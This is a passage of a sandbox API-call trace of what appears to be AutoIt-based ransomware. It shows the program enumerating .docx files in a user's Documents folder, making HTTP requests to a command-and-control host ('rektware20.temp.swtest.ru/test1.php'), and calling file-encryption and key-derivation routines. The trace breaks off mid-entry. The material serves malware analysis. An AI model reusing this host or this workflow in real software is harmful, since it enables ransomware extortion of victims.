(lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\weFosa.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wefosa.docx")) returned 1 [0071.784] FindNextFileW (in: hFindFile=0x164c270, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0071.784] FindClose (in: hFindFile=0x164c270 | out: hFindFile=0x164c270) returned 1 [0071.784] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0071.784] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.784] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.784] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.784] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\_P0ge 3-q-2li6.docx", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0071.784] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0071.785] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.785] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0071.785] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0071.785] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0071.785] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0071.785] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620df0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620df0, lpdwBufferLength=0x130ef8c) returned 1 [0071.785] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0071.785] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0071.785] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0071.786] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0071.786] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0071.786] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0071.786] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629270, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629270*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0071.786] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292a0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0071.786] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0071.787] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0071.787] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0071.787] CloseHandle (hObject=0x0) returned 0 [0071.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\_P0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\_P0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\_P0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\_P0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\_P0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\_P0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\_P0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\_P0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\_P0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\_P0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\_P0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\_P0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\_P0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\_P0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\_P0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\_P0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\_P0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\_P0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\_P0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\_P0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\_P0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\_P0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\_P0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\_P0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\_P0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\_P0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\_P0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\_P0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\_P0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\_P0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\_P0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\_P0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_P0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="P0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ge 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" 3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0071.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="3-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="li6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0071.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.788] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.788] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0071.788] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0071.788] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0071.788] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0071.788] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0071.788] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0071.788] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0071.789] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620eb0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620eb0, lpdwBufferLength=0x130ee1c) returned 1 [0071.789] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0071.789] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0071.789] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0071.789] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0071.789] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0071.789] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0071.789] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0071.789] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292c0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292c0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0071.790] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0071.790] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0071.790] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0071.790] CloseHandle (hObject=0x0) returned 0 [0071.790] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.790] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\_P0ge 3-q-2li6.docx", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0071.790] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0071.791] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.791] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0071.791] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 1 [0071.791] TranslateMessage (lpMsg=0x130ef0c) returned 0 [0071.791] DispatchMessageW (lpMsg=0x130ef0c) returned 0x0 [0071.791] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e570) returned 1 [0071.799] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0071.799] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0071.799] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.799] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.799] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0071.799] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.800] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0071.800] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.800] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.800] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0071.800] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.800] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.800] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.800] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.800] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.800] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0071.800] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0071.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0071.801] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0071.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0071.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0071.801] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0071.801] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa6f8) returned 1 [0071.802] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.802] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.802] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0071.802] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.802] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.802] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.802] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.802] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.802] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0071.802] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.802] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.802] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.802] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.802] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.802] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.802] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0071.802] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.802] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.802] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0071.802] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.803] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.803] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0071.803] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.803] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.803] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0071.803] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.803] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.803] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.803] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.803] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.803] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.803] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.803] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0071.803] PeekMessageW (in: 